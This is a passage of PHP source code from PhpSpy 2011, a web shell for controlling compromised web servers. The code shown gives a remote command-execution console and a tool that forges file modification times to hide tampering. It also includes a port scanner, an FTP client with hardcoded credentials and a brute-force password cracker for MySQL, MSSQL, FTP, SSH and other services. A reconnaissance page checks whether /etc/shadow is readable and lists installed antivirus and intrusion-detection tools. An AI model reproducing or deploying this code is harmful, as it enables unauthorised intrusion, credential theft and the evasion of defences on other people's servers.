2061 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2062 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2063 formfooter();
2064
2065 goback();
2066
2067}//end editfile
2068
2069elseif ($action == 'newtime') {
2070 $opfilemtime = @filemtime($opfile);
2071 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2072 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2073 formhead(array('title'=>'Clone file was last modified time'));
2074 makehide('action','file');
2075 makehide('dir',$nowpath);
2076 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2077 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2078 formfooter();
2079 formhead(array('title'=>'Set last modified'));
2080 makehide('action','file');
2081 makehide('dir',$nowpath);
2082 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2083 p('<p>Instead »');
2084 p('year:');
2085 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2086 p('month:');
2087 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2088 p('day:');
2089 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2090 p('hour:');
2091 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2092 p('minute:');
2093 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2094 p('second:');
2095 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2096 p('</p>');
2097 formfooter();
2098 goback();
2099}//end newtime
2100
2101elseif ($action == 'shell') {
2102 if (IS_WIN && IS_COM) {
2103 if($program && $parameter) {
2104 $shell= new COM('Shell.Application');
2105 $a = $shell->ShellExecute($program,$parameter);
2106 m('Program run has '.(!$a ? 'success' : 'fail'));
2107 }
2108 !$program && $program = 'c:\windows\system32\cmd.exe';
2109 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2110 formhead(array('title'=>'Execute Program'));
2111 makehide('action','shell');
2112 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2113 p('<p>');
2114 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2115 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2116 p('</p>');
2117 formfoot();
2118 }
2119 formhead(array('title'=>'Execute Command'));
2120 makehide('action','shell');
2121 if (IS_WIN && IS_COM) {
2122 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2123 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2124 }
2125 p('<p>');
2126 makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
2127 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2128 p('</p>');
2129 formfoot();
2130
2131 if ($command) {
2132 p('<hr width="100%" noshade /><pre>');
2133 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2134 $wsh = new COM('WScript.shell');
2135 $exec = $wsh->exec('cmd.exe /c '.$command);
2136 $stdout = $exec->StdOut();
2137 $stroutput = $stdout->ReadAll();
2138 echo $stroutput;
2139 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2140 $descriptorspec = array(
2141 0 => array('pipe', 'r'),
2142 1 => array('pipe', 'w'),
2143 2 => array('pipe', 'w')
2144 );
2145 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2146 if (is_resource($process)) {
2147 fwrite($pipes[0], $command."\r\n");
2148 fwrite($pipes[0], "exit\r\n");
2149 fclose($pipes[0]);
2150 while (!feof($pipes[1])) {
2151 echo fgets($pipes[1], 1024);
2152 }
2153 fclose($pipes[1]);
2154 while (!feof($pipes[2])) {
2155 echo fgets($pipes[2], 1024);
2156 }
2157 fclose($pipes[2]);
2158 proc_close($process);
2159 }
2160 } else {
2161 echo(execute($command));
2162 }
2163 p('</pre>');
2164 }
2165}//end shell
2166
2167elseif ($action == 'phpenv') {
2168 $osn=php_uname('r');
2169 if ($osn=="6.1")$os = "Windows 7";
2170 if ($osn=="6.0")$os = "Windows Vista";
2171 if ($osn=="5.2")$os = "Windows 2003";
2172 if ($osn=="5.1")$os = "Windows XP";
2173 if ($osn=="5.0")$os = "Windows 2000";
2174 if ($osn=="4.9")$os = "Windows Me";
2175 if ($osn=="4.1")$os = "Windows 98";
2176 if ($osn=="4.0")$os = "WINNT";
2177 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2178 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2179 !$dis_func && $dis_func = 'No';
2180 $info = array(
2181 0 => array('Process User',get_current_user()),
2182 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2183 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2184 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2185 4 => array('Server OS',$os?$os:PHP_OS),
2186 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2187 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2188 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2189 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2190 9 => array('The file path',__FILE__),
2191 10 => array('PHP Version',PHP_VERSION),
2192 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
2193 12 => array('Safe Mode',getcfg('safe_mode')),
2194 13 => array('Administrator',$adminmail),
2195 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2196 15 => array('enable_dl',getcfg('enable_dl')),
2197 16 => array('display_errors',getcfg('display_errors')),
2198 17 => array('register_globals',getcfg('register_globals')),
2199 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2200 19 => array('memory_limit',getcfg('memory_limit')),
2201 20 => array('post_max_size',getcfg('post_max_size')),
2202 21 => array('upload_max_filesize',$upsize),
2203 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2204 23 => array('disable_functions',$dis_func),
2205 );
2206
2207 if($phpvarname) {
2208 m($phpvarname .' : '.getcfg($phpvarname));
2209 }
2210
2211 formhead(array('title'=>'Server environment'));
2212 makehide('action','phpenv');
2213 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2214 formfooter();
2215
2216 $hp = array(0=> 'Server', 1=> 'PHP');
2217 for($a=0;$a<2;$a++) {
2218 p('<h2>'.$hp[$a].' »</h2>');
2219 p('<ul class="info">');
2220 if ($a==0) {
2221 for($i=0;$i<=9;$i++) {
2222 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2223 }
2224 } elseif ($a == 1) {
2225 for($i=10;$i<=23;$i++) {
2226 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2227 }
2228 }
2229 p('</ul>');
2230 }
2231}//end phpenv
2232
2233elseif ($action == 'portscan'){
2234 !$startip && $startip = $_SERVER['SERVER_ADDR'];
2235 !$stopip && $stopip = $_SERVER['SERVER_ADDR'];
2236 !$scanport && $scanport = $admin['port'];
2237 $startip1_3 = get_netip($startip);
2238 $stopip1_3 = get_netip($stopip);
2239 if ($submit){
2240 if ($startip1_3 != $stopip1_3){
2241 m('IP Error');
2242 }else{
2243 $tmport = explode(",",$scanport);
2244 $tmpstartip = explode(".",$startip);
2245 $tmpstopip = explode(".",$stopip);
2246 for ($j = $tmpstartip[3];$j < $tmpstopip[3]+1; $j++ ){
2247 if ($j > 255) {
2248 break;
2249 }
2250 for ($i = 0;$i< count($tmport);$i++){
2251 $fp = @fsockopen($startip1_3.'.'.$j, $tmport[$i], $errno, $errstr, 1);
2252 if($fp){
2253 $host[$startip1_3.'.'.$j][$tmport[$i]] = $tmport[$i];//把结果放入二维数组
2254 }
2255 }
2256 }
2257 foreach($host as $key => $value)//é历二维数组,输出结果
2258 {
2259 foreach($value as $key1 => $value1)
2260 {
2261 $port .= $value1.',';
2262 }
2263 m('find host '.$key.' open port: '.substr($port,0,-1));
2264 $port = '';
2265 }
2266 }
2267 }
2268 formhead(array('title'=>'Port Scanner'));
2269 makehide('action','portscan');
2270 p('<br>StartIP:');
2271 makeinput(array('name'=>'startip','size'=>25,'value'=>$startip));
2272 p('StopIP:');
2273 makeinput(array('name'=>'stopip','size'=>25,'value'=>$stopip));
2274 p('<br>Port:');
2275 makeinput(array('name'=>'scanport','value'=>$scanport));
2276 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Scan'));
2277 formfoot();
2278}
2279elseif ($action == 'ftpcilent') {
2280 if (!function_exists('ftp_connect') || !function_exists('ftp_login')){
2281 p('<font color=red>ftp function is disabled !</font>');
2282 exit;
2283 }
2284 !$ftphost && $ftphost = '192.168.1.148';
2285 !$ftpport && $ftpport = '21';
2286 !$ftpuser && $ftpuser = 'root';
2287 !$ftppass && $ftppass = 'fuckyou';
2288 !$ftpout && $ftpout = '10';
2289 !$ftpdir && $ftpdir = '/';
2290 $ftpform = '<input type="hidden" id="ftpconnect" name="ftpconnect" value="1" />';
2291 if(isset($ftphost)){
2292 $ftpform .= "<input type=\"hidden\" id=\"ftphost\" name=\"ftphost\" value=\"$ftphost\" />\n";
2293 }
2294 if(isset($ftpuser)) {
2295 $ftpform .= "<input type=\"hidden\" id=\"ftpuser\" name=\"ftpuser\" value=\"$ftpuser\" />\n";
2296 }
2297 if(isset($ftppass)) {
2298 $ftpform .= "<input type=\"hidden\" id=\"ftppass\" name=\"ftppass\" value=\"$ftppass\" />\n";
2299 }
2300 if(isset($ftpport)) {
2301 $ftpform .= "<input type=\"hidden\" id=\"ftpport\" name=\"ftpport\" value=\"$ftpport\" />\n";
2302 }
2303 if(isset($ftpout)) {
2304 $ftpform .= "<input type=\"hidden\" id=\"ftpout\" name=\"ftpout\" value=\"$ftpout\" />\n";
2305 }
2306 formhead(array('title'=>'FTP Cilent'));
2307 makehide('action','ftpcilent');
2308 p('<br>Host:');
2309 makeinput(array('name'=>'ftphost','size'=>25,'value'=>$ftphost));
2310 p('User:');
2311 makeinput(array('name'=>'ftpuser','size'=>15,'value'=>$ftpuser));
2312 p('Pass:');
2313 makeinput(array('name'=>'ftppass','size'=>15,'value'=>$ftppass));
2314 p('Port:');
2315 makeinput(array('name'=>'ftpport','size'=>4,'value'=>$ftpport));
2316 p('Time Out:');
2317 makeinput(array('name'=>'ftpout','size'=>4,'value'=>$ftpout));
2318 makeinput(array('name'=>'ftpconnect','class'=>'bt','type'=>'submit','value'=>'Connect'));
2319 p('<br><br>');
2320 formfoot();
2321 formhead(array('name'=>'ftp2'));
2322 makehide('action','ftpcilent');
2323 p($ftpform);
2324 makehide('ftpmkdir2');
2325 makehide('delfolder');
2326 makehide('renamedirold');
2327 makehide('renamedirnew');
2328 makehide('chmod');
2329 makehide('chmoddir');
2330 makehide('delfile');
2331 makehide('downfile');
2332 makehide('downto');
2333 makehide('upfile2');
2334 makehide('ftpdir',$ftpdir);
2335 formfoot();
2336
2337 if (isset($ftphost) && isset($ftpuser) && isset($ftppass) && isset($ftpconnect)) { //开始æ“作
2338
2339 $conn_id = @ftp_connect($ftphost,$ftpport,$ftpout);//测试连接FTPæœåС噍,10
2340 if(!$conn_id){
2341 m('FTP Connection Failed!');//连接失败,FTPä¸å¯ç”¨
2342 exit;
2343 }
2344 if(!@ftp_login($conn_id, $ftpuser, $ftppass)){
2345 m('FTP Login Failed!');
2346 exit;
2347 }
2348 @ftp_pasv($conn_id, true); //使用被动模å¼
2349 $ch = @ftp_chdir($conn_id, $ftpdir);
2350 if (!$ch) {
2351 $ftpdir=@ftp_pwd($conn_id);
2352 }
2353
2354//--------------Make Dir------------------------------------------------------------------------------------------------------
2355 if (($ftpmkdir2) && substr(trim($ftpmkdir2), 0, 1) != '/'){
2356 if (@ftp_mkdir($conn_id, trim($ftpmkdir2)))
2357 m('Make Dir ' . trim($ftpmkdir2) . 'Successfully !');
2358 else
2359 m('Make Dir ' . trim($ftpmkdir2) . ' Failed !');
2360
2361 }
2362//----------Delete Folder------------------------------------------------------------------------------------------------------
2363 if (($delfolder) && substr(trim($delfolder), 0, 1) != '/'){
2364
2365 if (@ftp_rmdir($conn_id, trim($delfolder)))
2366 m("Delete Folder " . trim($delfolder) . " Successfully !");
2367 else
2368 m("Delete Folder " . trim($delfolder) . " Failed !<br>This must be empty directory.");
2369 }
2370//---------Rename Folder and file------------------------------------------------------------------------------------------------
2371 if (($renamedirold) && substr(trim($renamedirold), 0, 1) != '/'
2372 && ($renamedirnew) && substr(trim($renamedirnew), 0, 1) != '/'){
2373 if (@ftp_rename($conn_id, trim($renamedirold), trim($renamedirnew))){
2374 m(trim($renamedirold) . " Rename to ". trim($renamedirnew) . " Successfully !");
2375 }
2376 else{
2377 m(trim($renamedirold) . " Rename to ". trim($renamedirnew) . " Failed !");
2378 }
2379 }
2380//------------Files Perm----------------------------------------------------------------------------------------------------------
2381 if (($chmod) && ($chmoddir) && substr(trim($chmod), 0, 1) != '/'
2382 && substr(trim($chmoddir), 0, 1) != '/'){
2383 if (@ftp_site($conn_id, 'CHMOD ' . trim($chmod) . ' ' . trim($chmoddir) . ''))
2384 m('CHMOD ' . trim($chmod) . ' ' . trim($chmoddir). ' successfully !');
2385 else
2386 m('CHMOD ' . trim($chmod) . ' ' . trim($chmoddir). ' failed !');
2387 }
2388//------------Delete File-------------------------------------------------------------------------------------------------------
2389 if (($delfile) && substr(trim($delfile), 0, 1) != '/'){
2390 if (ftp_delete($conn_id, trim($delfile)))
2391 m("Delete File " . trim($delfile) . " Successfully !");
2392 else
2393 m("Delete File " . trim($delfile) . " Failed !");
2394 }
2395//---------Down File-----------------------------------------------------------------------------------------------------------
2396 if (($downfile) && ($downto) && strlen(trim($downto)) != 1
2397 && substr(trim($downfile), 0, 1) != '/' && strlen(trim($downto)) > 1){
2398 if (ftp_get($conn_id, trim($downto), trim($downfile), FTP_BINARY))
2399 m("Download " . trim($downfile) . " to " . trim($downto)
2400 . " Successfully !");
2401 else
2402 m("Download " . trim($downfile) . " to " . trim($downto)
2403 . " Failed !");
2404 }
2405//---------Put File-----------------------------------------------------------------------------------------------------------
2406 if (($downsdir) && substr(trim($downsdir), 0, 1) != '/'){
2407 if(file_exists($downsdir)) {
2408 $fp = @fopen($downsdir,'w');
2409 if (!@fwrite($fp,$fileContent)){m('Save file failed');}
2410 @fclose($fp);
2411 }
2412 $path=explode("/", trim($editfilename));
2413 $n=count($path) - 1;
2414 $desdir=$path[$n];
2415 if (ftp_put($conn_id, $desdir, trim($downsdir), FTP_ASCII))
2416 m("Edit " . trim($desdir) . " Successfully !");
2417 else
2418 m("Edit " . trim($desdir) . " Failed !");
2419 }
2420//---------View File-----------------------------------------------------------------------------------------------------------
2421 if (($editfile3) && substr(trim($editfile3), 0, 1) != '/'){
2422 if ((substr((strtoupper(php_uname())), 0, 3) == 'WIN'))
2423 $sessdir='c:/windows/temp';
2424 else
2425 $sessdir='/tmp';
2426 $downsdir=$sessdir . "/".md5($editfile3);
2427
2428 if (!is_writable($sessdir)){
2429 echo "Temp Path isn't writable !";
2430 exit;
2431 }
2432 if (ftp_get($conn_id, $downsdir, trim($editfile3), FTP_BINARY)){
2433
2434 formhead(array('title'=>'View File','name'=>'ftp3'));
2435 makehide('action','ftpcilent');
2436 p($ftpform);
2437
2438 makehide('downsdir',$downsdir);
2439 makehide('ftpdir',$ftpdir);
2440 //p('Current File');
2441 makeinput(array('title'=>'Current File','name'=>'editfilename','size'=>50,'value'=>$ftpdir. $editfile3));
2442 maketext(array('title'=>'File Content','name'=>'fileContent', 'value'=>file_get_contents($downsdir)));
2443 makeinput(array('class'=>'bt','type'=>'button','value'=>'submit','extra'=>'onclick="javascript:ftpfput()"'));
2444 formfoot();
2445 }
2446 else{
2447 echo "Download File Error";
2448 exit;
2449 }
2450 exit;
2451 }
2452//-----------Upfile----------------------------------------------------------------------------------------------------------
2453 if (($upfile2) && strlen(trim($upfile2)) > 2){
2454 if (is_dir(trim($upfile2)) || !file_exists(trim($upfile2)))
2455 m("It Is dir or File " . trim($upfile2) . " not exist !");
2456
2457 if (is_file(trim($upfile2)) && file_exists(trim($upfile2))){
2458 $e=explode("/", trim($upfile2));
2459 $n=count($e) - 1;
2460 $desdir=$e[$n];
2461
2462 if (ftp_put($conn_id, $desdir, trim($upfile2), FTP_ASCII))
2463 m("Upfile " . trim($upfile2) . "Successfully !");
2464 else
2465 m("Upfile " . trim($upfile2) . " Failed !");
2466 }
2467 }
2468 $list=@ftp_rawlist($conn_id, '.');
2469
2470 tbhead();
2471 p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');
2472 formhead(array('name'=>'formp','target'=>'_blank'));
2473 makehide('action','ftpcilent');
2474 p($ftpform);
2475 makehide('ftpdir',$ftpdir);
2476 makehide('editfile3',$ftpdir);
2477 p('Current Directory');
2478 makeinput(array('name'=>'cdir','size'=>40,'value'=>$ftpdir));
2479 makeinput(array('class'=>'bt','type'=>'button','value'=>'GO','extra'=>'onclick="javascript:ftpgodir(\'setdir\')"'));
2480 p('Make Dir : ');
2481 makeinput(array('name'=>'ftpmkdir','size'=>10,'value'=>'test'));
2482 makeinput(array('class'=>'bt','name'=>'ftpmkdir','value'=>'Make','type'=>'button','extra'=>'onclick="javascript:ftpmdir()"'));
2483 p('Upfile : ');
2484 makeinput(array('name'=>'upfile','size'=>50,'value'=>$dir));
2485 makeinput(array('class'=>'bt','type'=>'button','value'=>'Upfile','extra'=>'onclick="javascript:upf()"'));
2486 makeinput(array('class'=>'bt','type'=>'submit','value'=>'List','name'=>'mlist'));
2487
2488 formfoot();
2489 tbfoot();
2490 echo
2491 "<table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">
2492 <tr class=\"alt1\">
2493 </tr>";
2494 echo
2495 '<tr class="head"><td>Filename</td><td width="5%" nowrap>Owner</td><td width="5%" nowrap>Group</td><td width="5%" nowrap>Chmod</td><td width="5%" nowrap>Size</td><td width="5%" nowrap>Time</td><td nowrap>Action</td></tr>';
2496 echo
2497 "<tr class=\"alt1\"><td><font face=\"Wingdings 3\" size=\"4\">=</font><a href=\"javascript:ftpgodir('updir');\">Parent Directory</a></td><td nowrap colspan=\"6\"></td></tr>";
2498 @ftp_files($list);
2499 echo
2500 '<tr class="head"><td>Filename</td><td width="5%" nowrap>Owner</td><td width="5%" nowrap>Group</td><td width="5%" nowrap>Chmod</td><td width="5%" nowrap>Size</td><td width="5%" nowrap>Time</td><td nowrap>Action</td></tr>';
2501 echo '</table>';
2502 @ftp_close($conn_id);
2503 }
2504}
2505elseif ($action == 'getinfo') {
2506//var_dump($_REQUEST);
2507
2508echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$filepath."</td></tr><tr><td><b>Size</b></td><td> ".sizecount(filesize($filepath))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($filepath)."</td></tr>";
2509
2510echo "<tr><td><b>Perms</b></td><td>".getPerms($filepath)."</td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($filepath))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($filepath))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($filepath))."</td></tr></table><br>";
2511
2512$hexdump_lines = 16;// lines in hex preview file
2513$hexdump_rows = 24;// 16, 24 or 32 bytes in one line
2514
2515 $fi = fopen($filepath,"rb");
2516 if ($fi)
2517 {
2518 if ($fullhexdump) {
2519 echo "<b>FULL HEXDUMP</b>";
2520 $str = fread($fi,filesize($filepath));
2521 }else {
2522 echo "<b>HEXDUMP PREVIEW</b>";
2523 $str = fread($fi,$hexdump_lines*$hexdump_rows);
2524 }
2525 $n = 0;
2526 $a0 = "00000000<br>";
2527 $a1 = "";
2528 $a2 = "";
2529 for ($i=0; $i<strlen($str); $i++)
2530 {
2531 $a1 .= sprintf("%02X",ord($str[$i]))." ";
2532 switch (ord($str[$i]))
2533 {
2534 case 0: $a2 .= "<font>0</font>"; break;
2535 case 32:
2536 case 10:
2537 case 13: $a2 .= " "; break;
2538 default: $a2 .= htmlspecialchars($str[$i]);
2539 }
2540 $n++;
2541 if ($n == $hexdump_rows)
2542 {
2543 $n = 0;
2544 if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
2545 $a1 .= "<br>";
2546 $a2 .= "<br>";
2547 }
2548 }
2549 //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
2550 echo "<table border=0 bgcolor=#C0BBB4 cellspacing=1 cellpadding=4><tr><td bgcolor=#C0BBB4>".$a0."</td><td bgcolor=#c0c0c0>".$a1."</td><td bgcolor=#FFFFFF>".$a2."</td></tr></table><br>";
2551 }
2552}
2553elseif ($action == 'pwdcrack') {
2554 p('
2555<Script>
2556function chprot(th){
2557 document.getElementById("pwdport").value=th;
2558}
2559</Script>
2560 ');
2561 !$pwdhost && $pwdhost = 'localhost';
2562 !$pwdport && $pwdport = '3306';
2563 !$pwduser && $pwduser = 'root';
2564 !$passfile && $passfile = './password.txt';
2565 if ($submit){
2566 if(@file_exists($passfile))
2567 {
2568 $fp = @fsockopen($pwdhost,$pwdport, $errno, $errstr, 1);
2569 if ($fp){
2570 $tmp = file($passfile);
2571 $count = count($tmp);
2572 for($i=0;$i<$count;$i++)
2573 {
2574 switch ($ctype) {
2575 case "mysql":
2576 $sa = @mysql_connect($pwdhost.':'.$pwdport,$pwduser,chop($tmp[$i]));
2577 break;
2578 case "mssql":
2579 $sa = @mssql_connect($pwdhost.','.$pwdport, $pwduser, chop($tmp[$i]));
2580 break;
2581 case "ftp":
2582 $sa = @ftp_login(ftp_connect($pwdhost,$pwdport),$pwduser,chop($tmp[$i]));
2583 break;
2584 case "ssh":
2585 $con = @ssh2_connect($pwdhost, $pwdport);
2586 $sa = @ssh2_auth_password($con, $pwduser, chop($tmp[$i]));
2587 break;
2588 case "pgsql":
2589 $sa = @pg_connect('host='.$pwdhost.' port='.$pwdport.' dbname=test user='.$pwduser.' password='.chop($tmp[$i]).'');
2590 break;
2591 case "sybase":
2592 $sa = @sybase_connect($pwdhost.':'.$pwdport,$pwduser,chop($tmp[$i]));
2593 break;
2594 case "oci":
2595 $sa = @oci_connect($pwduser,chop($tmp[$i]),'//'.$pwdhost.'[:'.$pwdport.']/test');
2596 break;
2597 }
2598 if($sa)
2599 {
2600 m('User:'.$pwduser.' Pass:'.$tmp[$i]);
2601 break;
2602 }
2603 if ($i==$count-1)m('Password cracking completed, not found');
2604 }
2605 }else{
2606 m('Error: '.$pwdhost.' : '.$pwdport.' Close');
2607 }
2608
2609 }else
2610 {
2611 m('Password file can not be found!');
2612 }
2613 }
2614
2615 formhead(array('title'=>'Password Cracker'));
2616 makehide('action','pwdcrack');
2617 p('<br>Host:');
2618 makeinput(array('name'=>'pwdhost','size'=>25,'value'=>$pwdhost));
2619 p('Port:');
2620 makeinput(array('name'=>'pwdport','size'=>5,'value'=>$pwdport));
2621 p('<br>User:');
2622 makeinput(array('name'=>'pwduser','size'=>10,'value'=>$pwduser));
2623 p('<br>MYSQL:<input type="radio" onclick="chprot(\'3306\')" name="ctype" value="mysql" checked>
2624 MSSQL:<input type="radio" onclick="chprot(\'1433\')" name="ctype" value="mssql">
2625 Ftp:<input type="radio" onclick="chprot(\'21\')" name="ctype" value="ftp">
2626 SSH:<input type="radio" onclick="chprot(\'22\')" name="ctype" value="ssh">
2627 PostgreSQL:<input type="radio" onclick="chprot(\'5432\')" name="ctype" value="pgsql">
2628 Sybase:<input type="radio" onclick="chprot(\'4405\')" name="ctype" value="sybase">
2629 Oracle:<input type="radio" onclick="chprot(\'1525\')" name="ctype" value="oci"><br>PassFile:');
2630 makeinput(array('name'=>'passfile','size'=>24,'value'=>$passfile));
2631 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Cracker'));
2632 formfoot();
2633}elseif ($action == 'secinfo') {
2634
2635 if( !IS_WIN ) {
2636 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
2637 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
2638 $downloaders = array('wget','fetch','lynx','links','curl','GET','lwp-mirror','w3m');
2639 secparam('OS version', trim(@file_get_contents('/proc/version')));
2640 secparam('Distr name', trim(@file_get_contents('/etc/issue.net')));
2641 secparam('Open Port', execute('netstat -tln'));
2642 secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
2643 secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
2644 $safe_mode = @ini_get('safe_mode');
2645 if(!$GLOBALS['safe_mode']) {
2646 $temp=array();
2647 foreach ($userful as $item)
2648 if(which($item)){$temp[]=$item;}
2649 secparam('Userful', implode(', ',$temp));
2650 $temp=array();
2651 foreach ($danger as $item)
2652 if(which($item)){$temp[]=$item;}
2653 secparam('Danger', implode(', ',$temp));
2654 $temp=array();
2655 foreach ($downloaders as $item)
2656 if(which($item)){$temp[]=$item;}
2657 secparam('Downloaders', implode(', ',$temp));
2658 secparam('Hosts', trim(@file_get_contents('/etc/hosts')));
2659 secparam('Show last 20 logged in users', execute('last -a -n 20 -i'));
2660 secparam('HDD space', execute('df -h'));
2661 secparam('Mount options', trim(@file_get_contents('/etc/fstab')));
2662 secparam('View syslog.conf', trim(@file_get_contents('/etc/syslog.conf')));
2663 secparam('locate httpd.conf', execute('locate httpd.conf'));
2664
2665 }
2666 } else {
2667 secparam('OS Version',execute('ver'));
2668 secparam('Account Settings',execute('net accounts'));
2669 secparam('User Accounts',execute('net user'));
2670 secparam('IP Configurate',execute('ipconfig -all'));
2671 }
2672 secparam('Server software', @getenv('SERVER_SOFTWARE'));
2673 secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
2674 secparam('Open base dir', @ini_get('open_basedir'));
2675 secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
2676 secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
2677 secparam('cURL support', function_exists('curl_version')?'enabled':'no');
2678 $temp=array();
2679 if(function_exists('mysql_get_client_info'))
2680 $temp[] = "MySql (".mysql_get_client_info().")";
2681 if(function_exists('mssql_connect'))
2682 $temp[] = "MSSQL";
2683 if(function_exists('pg_connect'))
2684 $temp[] = "PostgreSQL";
2685 if(function_exists('oci_connect'))
2686 $temp[] = "Oracle";
2687 secparam('Supported databases', implode(', ', $temp));
2688}//end
2689else {
2690 m('Undefined Action');
2691}
2692
2693?>
2694</td></tr></table>
2695<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
2696 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
2697 Powered by <a title="Build 20110419" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
2698</div>
2699</body>
2700</html>
2701
2702<?php
2703
2704/*======================================================
2705函数库
2706======================================================*/
2707function secparam($n, $v) {
2708 $v = trim($v);
2709 if($v) {
2710 p('<h2>'.$n.' »</h2>');
2711 p('<div class="infolist">');
2712 if(strpos($v, "\n") === false)
2713 p($v.'<br />');
2714 else
2715 p('<pre>'.$v.'</pre>');
2716 p('</div>');
2717 }
2718}
2719
2720function m($msg) {
2721 echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
2722 echo $msg;
2723 echo '</div>';
2724}
2725function scookie($key, $value, $life = 0, $prefix = 1) {
2726 global $admin, $timestamp, $_SERVER;
2727 $key = ($prefix ? $admin['cookiepre'] : '').$key;
2728 $life = $life ? $life : $admin['cookielife'];
2729 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
2730 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
2731}
2732function multi($num, $perpage, $curpage, $tablename) {
2733 $multipage = '';
2734 if($num > $perpage) {
2735 $page = 10;
2736 $offset = 5;
2737 $pages = @ceil($num / $perpage);
2738 if($page > $pages) {
2739 $from = 1;
2740 $to = $pages;
2741 } else {
2742 $from = $curpage - $offset;
2743 $to = $curpage + $page - $offset - 1;
2744 if($from < 1) {
2745 $to = $curpage + 1 - $from;
2746 $from = 1;
2747 if(($to - $from) < $page && ($to - $from) < $pages) {
2748 $to = $page;
2749 }
2750 } elseif($to > $pages) {
2751 $from = $curpage - $pages + $to;
2752 $to = $pages;
2753 if(($to - $from) < $page && ($to - $from) < $pages) {
2754 $from = $pages - $page + 1;
2755 }
2756 }
2757 }
